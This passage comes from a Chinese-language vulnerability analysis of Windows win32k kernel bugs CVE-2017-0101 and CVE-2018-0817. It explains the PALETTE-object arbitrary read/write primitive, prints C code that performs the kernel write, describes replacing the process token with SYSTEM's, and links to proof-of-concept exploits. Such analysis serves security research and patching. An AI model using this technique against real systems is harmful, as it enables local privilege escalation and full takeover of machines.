[0808]38316847 [0809]010813CD [0810]00000000 [0811]00000000
[0812]00000000 [0813]00000501 [0814]00000064 [0815]00002117
[0816]00000000 [0817]00000000 [0818]00000000 [0819]00000000
[0820]00000000 [0821]00000000 [0822]00000000 [0823]00000000
[0824]940A8D10 [0825]940A8D3B [0826]00000000 [0827]00000000
[0828]FCD64E54 [0829]FCD64E00 [0830]CDCDCDCD [0831]CDCDCDCD

获取到的像素数据中包含调色板对象的成员数据

观察上面的数据片段,可发现下标 808 的数值是调色板 PALETTE 对象所在内存块的 Gh18 池标记。从下标 809 位置开始的是目标 PALETTE 对象的成员数据。参考前面章节中列出的 PALETTE 类的定义,计算出关键成员域 cEntriesapalColor 的下标分别为 814828。根据成员域 apalColor 的数值计算出当前内存页的基地址,继而定位到位于当前内存页起始位置的位图表面对象。

随后通过修改成员域 apalColor 指向预期的内存地址,使目标调色板 PALETTE 对象将新的内存地址作为调色板列表数据区域的首地址。后续操作该调色板对象时,在内核函数中将读写修改后指向地址的内存数据。

根据结构体 BASEOBJECT 的定义:

typedef struct _BASEOBJECT {
HANDLE     hHmgr;
PVOID      pEntry;
LONG       cExclusiveLock;
PW32THREAD Tid;
} BASEOBJECT, *POBJ;

结构体 BASEOBJECT 的定义

成员域 hHmgr 存储当前内核 GDI 对象的句柄,对应像素数据数组下标 809 位置。根据获得的调色板对象句柄,通过调用系统函数 SetPaletteEntriesGetPaletteEntries 可以实现对目标地址的写入或读取访问。两个函数的定义如下:

UINT SetPaletteEntries(
_In_       HPALETTE     hpal,
_In_       UINT         iStart,
_In_       UINT         cEntries,
_In_ const PALETTEENTRY *lppe
);
UINT GetPaletteEntries(
_In_  HPALETTE       hpal,
_In_  UINT           iStart,
_In_  UINT           cEntries,
_Out_ LPPALETTEENTRY lppe
);

函数 Set/GetPaletteEntries 的定义

两个函数的参数一致,各参数依次是:参数 hpal 指向目标调色板对象的句柄,参数 iStart 访问起始调色板表项索引,参数 nEntries 设定或获取调色板表项的数目,参数 lppe 指向用户态存储表项数组缓冲区。利用位图对象和调色板对象相互配合,通过这两个函数实现的任意内存地址写入的验证代码如下:

VOID PointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
UINT iLeng = 0;
pBmpHunted[iExtPalColor] = addr;
iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
PVOID pvTable = NULL;
UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
pvTable = malloc(cbSize);
ZeroMemory(pvTable, cbSize);
memcpy(pvTable, pvBits, cb);
iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
free(pvTable);
}

利用调色板对象任意地址写入的验证代码片段

利用调色板对象任意内存地址读取的代码与之类似。接下来通过实现的任意读写接口,替换当前验证代码进程的 EPROCESS 结构的 TOKEN 指针为系统进程的 TOKEN 指针,实现特权提升的目的,并修复被损坏的 POOL_HEADER 结构和目标位图表面 SURFACE 对象的相关成员域,以使当前进程能够安全退出。

启动的命令提示符进程已属于 System 用户特权


CVE-2018-0817

在内核函数 EngRealizeBrush 中计算指定内存分配大小的变量的数值时,漏洞 CVE-2017-0101 的补丁程序虽然增加了防止发生整数溢出的校验函数,但是遗漏了在函数向内存分配函数调用传递参数时对 v16 + 0x40 计算语句的校验。然而漏洞验证代码恰可以利用这个遗漏来触发漏洞,造成补丁绕过,漏洞验证代码和利用代码因此在已安装最新安全补丁的 Windows 7 至 Windows 10 操作系统环境中仍旧能够成功触发和提权。

微软在 2018 年 3 月安全公告中公布了新的 CVE-2018-0817 漏洞,并且在安全公告所发布的安全更新中已包含修复该漏洞的补丁程序。补丁程序为函数 EngRealizeBrush 中的 ulSizeTotal + 0x40 计算语句位置增加了 ULongAdd 校验函数:

lea     eax, [ebp+ulBufferBytes]
push    eax
push    dword ptr [ebp+ulSizeTotal]
push    40h
call    ?ULongAdd@@YGJKKPAK@Z
test    eax, eax
jl      loc_BF83E8B4
[...]
mov     ebx, [ebp+ulBufferBytes]
[...]
push    'rbeG'          ; Tag
push    ebx             ; size_t
call    _PALLOCMEM@8    ; PALLOCMEM(x,x)
mov     esi, eax
mov     [ebp+var_38], eax

漏洞 CVE-2018-0817 的补丁程序增加校验函数

0x4 链接

[0] 本分析的 POC 下载

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0101/x86.cpp

[1] Windows 2000 图形驱动程序设计指南

http://read.pudn.com/downloads49/sourcecode/windows/vxd/167121/2004-08-31_win2kDDK4.pdf

[2] GDI Palette Objects Local Privilege Escalation (MS17-017)

https://www.exploit-db.com/exploits/42432/

[3] Logical Brush Types
https://msdn.microsoft.com/en-us/library/windows/desktop/dd145038(v=vs.85).aspx

[4] ICM-Enabled Bitmap Functions

https://msdn.microsoft.com/en-us/library/windows/desktop/dd144990(v=vs.85).aspx

[5] Windows Color System

https://msdn.microsoft.com/en-us/library/windows/desktop/dd372446(v=vs.85).aspx

[6] DrvRealizeBrush function

https://msdn.microsoft.com/en-us/library/windows/hardware/ff556273(v=vs.85).aspx

[7] GDI Support Services

https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gdi-support-services

[8] sensepost / gdi-palettes-exp

https://github.com/sensepost/gdi-palettes-exp

[9] GDI Support for Palettes

https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gdi-support-for-palettes